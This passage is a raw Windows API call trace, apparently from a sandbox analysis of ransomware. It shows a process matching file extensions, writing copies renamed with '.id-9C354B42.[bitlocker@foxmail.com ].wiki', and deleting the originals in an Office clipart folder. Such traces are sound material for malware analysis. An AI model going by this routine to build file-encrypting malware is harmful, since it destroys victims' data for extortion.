(lpString1=".doc", lpString2=".WMF") returned -1 [0189.704] lstrlenW (lpString=".docx") returned 5 [0189.704] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.704] lstrlenW (lpString=".pdf") returned 4 [0189.704] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.704] lstrlenW (lpString=".xls") returned 4 [0189.704] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.704] lstrlenW (lpString=".xlsx") returned 5 [0189.704] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.704] lstrlenW (lpString=".ppt") returned 4 [0189.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0189.705] lstrlenW (lpString=".zip") returned 4 [0189.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.705] lstrlenW (lpString=".rar") returned 4 [0189.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.705] lstrlenW (lpString=".bz2") returned 4 [0189.705] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.705] lstrlenW (lpString=".7z") returned 3 [0189.705] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0189.705] lstrlenW (lpString=".dbf") returned 4 [0189.705] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0189.705] lstrlenW (lpString=".1cd") returned 4 [0189.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0189.705] lstrlenW (lpString=".jpg") returned 4 [0189.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0189.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0189.705] lstrlenW (lpString=".doc") returned 4 [0189.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.705] lstrlenW (lpString=".docx") returned 5 [0189.705] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.705] lstrlenW (lpString=".pdf") returned 4 [0189.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.705] lstrlenW (lpString=".xls") returned 4 [0189.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.705] lstrlenW (lpString=".xlsx") returned 5 [0189.705] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.705] lstrlenW (lpString=".ppt") returned 4 [0189.706] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0189.706] lstrlenW (lpString=".zip") returned 4 [0189.706] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.706] lstrlenW (lpString=".rar") returned 4 [0189.706] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.706] lstrlenW (lpString=".bz2") returned 4 [0189.706] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.706] lstrlenW (lpString=".7z") returned 3 [0189.706] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0189.706] lstrlenW (lpString=".dbf") returned 4 [0189.706] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0189.706] lstrlenW (lpString=".1cd") returned 4 [0189.706] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.706] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 63 [0189.706] lstrlenW (lpString=".jpg") returned 4 [0189.706] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.706] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.706] lstrlenW (lpString="HH00693_.WMF") returned 12 [0189.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.707] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=7098) returned 1 [0189.707] CloseHandle (hObject=0x1f4) returned 1 [0189.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf")) returned 0x20 [0189.707] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.707] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.707] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.707] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.708] GetLastError () returned 0x0 [0189.708] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x1bba, lpOverlapped=0x0) returned 1 [0189.819] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x1bc0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x1bc0, lpOverlapped=0x0) returned 1 [0189.820] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.820] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.820] SetEndOfFile (hFile=0x1e4) returned 1 [0189.820] CloseHandle (hObject=0x1e4) returned 1 [0189.820] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.820] SetEndOfFile (hFile=0x1f4) returned 1 [0189.821] CloseHandle (hObject=0x1f4) returned 1 [0189.821] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00693_.wmf")) returned 1 [0189.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0189.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0189.822] lstrlenW (lpString=".doc") returned 4 [0189.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.822] lstrlenW (lpString=".docx") returned 5 [0189.822] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.822] lstrlenW (lpString=".pdf") returned 4 [0189.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.822] lstrlenW (lpString=".xls") returned 4 [0189.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.822] lstrlenW (lpString=".xlsx") returned 5 [0189.822] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.822] lstrlenW (lpString=".ppt") returned 4 [0189.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0189.822] lstrlenW (lpString=".zip") returned 4 [0189.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.822] lstrlenW (lpString=".rar") returned 4 [0189.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.822] lstrlenW (lpString=".bz2") returned 4 [0189.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.822] lstrlenW (lpString=".7z") returned 3 [0189.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0189.822] lstrlenW (lpString=".dbf") returned 4 [0189.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0189.822] lstrlenW (lpString=".1cd") returned 4 [0189.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0189.822] lstrlenW (lpString=".jpg") returned 4 [0189.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0189.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0189.823] lstrlenW (lpString=".doc") returned 4 [0189.823] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.823] lstrlenW (lpString=".docx") returned 5 [0189.823] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.823] lstrlenW (lpString=".pdf") returned 4 [0189.823] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.823] lstrlenW (lpString=".xls") returned 4 [0189.823] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.823] lstrlenW (lpString=".xlsx") returned 5 [0189.823] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.823] lstrlenW (lpString=".ppt") returned 4 [0189.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0189.823] lstrlenW (lpString=".zip") returned 4 [0189.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.823] lstrlenW (lpString=".rar") returned 4 [0189.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.823] lstrlenW (lpString=".bz2") returned 4 [0189.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.823] lstrlenW (lpString=".7z") returned 3 [0189.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0189.823] lstrlenW (lpString=".dbf") returned 4 [0189.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0189.823] lstrlenW (lpString=".1cd") returned 4 [0189.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 63 [0189.823] lstrlenW (lpString=".jpg") returned 4 [0189.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.824] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.824] lstrlenW (lpString="HH01058_.WMF") returned 12 [0189.824] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.824] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=2756) returned 1 [0189.824] CloseHandle (hObject=0x1f4) returned 1 [0189.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x20 [0189.824] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.825] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.825] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.825] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.825] GetLastError () returned 0x0 [0189.825] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0xac4, lpOverlapped=0x0) returned 1 [0189.827] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xad0, lpOverlapped=0x0) returned 1 [0189.828] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.828] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.828] SetEndOfFile (hFile=0x1e4) returned 1 [0189.828] CloseHandle (hObject=0x1e4) returned 1 [0189.828] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.828] SetEndOfFile (hFile=0x1f4) returned 1 [0189.829] CloseHandle (hObject=0x1f4) returned 1 [0189.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.829] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0189.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0189.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0189.829] lstrlenW (lpString=".doc") returned 4 [0189.829] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.829] lstrlenW (lpString=".docx") returned 5 [0189.829] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.829] lstrlenW (lpString=".pdf") returned 4 [0189.829] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.830] lstrlenW (lpString=".xls") returned 4 [0189.830] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.830] lstrlenW (lpString=".xlsx") returned 5 [0189.830] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.830] lstrlenW (lpString=".ppt") returned 4 [0189.830] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0189.830] lstrlenW (lpString=".zip") returned 4 [0189.830] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.830] lstrlenW (lpString=".rar") returned 4 [0189.830] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.830] lstrlenW (lpString=".bz2") returned 4 [0189.830] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.830] lstrlenW (lpString=".7z") returned 3 [0189.830] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0189.830] lstrlenW (lpString=".dbf") returned 4 [0189.830] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0189.830] lstrlenW (lpString=".1cd") returned 4 [0189.830] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.830] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0189.830] lstrlenW (lpString=".jpg") returned 4 [0189.830] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0189.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0189.831] lstrlenW (lpString=".doc") returned 4 [0189.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.831] lstrlenW (lpString=".docx") returned 5 [0189.831] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.831] lstrlenW (lpString=".pdf") returned 4 [0189.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.831] lstrlenW (lpString=".xls") returned 4 [0189.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.831] lstrlenW (lpString=".xlsx") returned 5 [0189.831] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.831] lstrlenW (lpString=".ppt") returned 4 [0189.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0189.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0189.831] lstrlenW (lpString=".zip") returned 4 [0189.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0189.831] lstrlenW (lpString=".rar") returned 4 [0189.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0189.831] lstrlenW (lpString=".bz2") returned 4 [0189.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0189.831] lstrlenW (lpString=".7z") returned 3 [0189.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0189.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0189.831] lstrlenW (lpString=".dbf") returned 4 [0189.831] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0189.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0189.831] lstrlenW (lpString=".1cd") returned 4 [0189.831] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0189.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63 [0189.831] lstrlenW (lpString=".jpg") returned 4 [0189.831] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0189.832] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0189.832] lstrlenW (lpString="HH01065_.WMF") returned 12 [0189.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.832] GetFileSizeEx (in: hFile=0x1f4, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1268) returned 1 [0189.832] CloseHandle (hObject=0x1f4) returned 1 [0189.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x20 [0189.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0189.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0189.832] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.833] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0189.833] GetLastError () returned 0x0 [0189.833] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x4f4, lpOverlapped=0x0) returned 1 [0189.834] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0x500, lpOverlapped=0x0) returned 1 [0189.835] ReadFile (in: hFile=0x1f4, lpBuffer=0x3af0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0189.835] WriteFile (in: hFile=0x1e4, lpBuffer=0x3af0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3af0020*, lpNumberOfBytesWritten=0x300fc9c*=0xec, lpOverlapped=0x0) returned 1 [0189.835] SetEndOfFile (hFile=0x1e4) returned 1 [0189.836] CloseHandle (hObject=0x1e4) returned 1 [0189.836] SetFilePointerEx (in: hFile=0x1f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0189.836] SetEndOfFile (hFile=0x1f4) returned 1 [0189.836] CloseHandle (hObject=0x1f4) returned 1 [0189.836] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0189.837] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf")) returned 1 [0189.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0189.837] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63 [0189.837] lstrlenW (lpString=".doc") returned 4 [0189.837] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0189.837] lstrlenW (lpString=".docx") returned 5 [0189.837] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0189.837] lstrlenW (lpString=".pdf") returned 4 [0189.837] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0189.837] lstrlenW (lpString=".xls") returned 4 [0189.837] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0189.837] lstrlenW (lpString=".xlsx") returned 5 [0189.837] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0189.837] lstrlenW (lpString=".ppt") returned 4 [0189.837] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 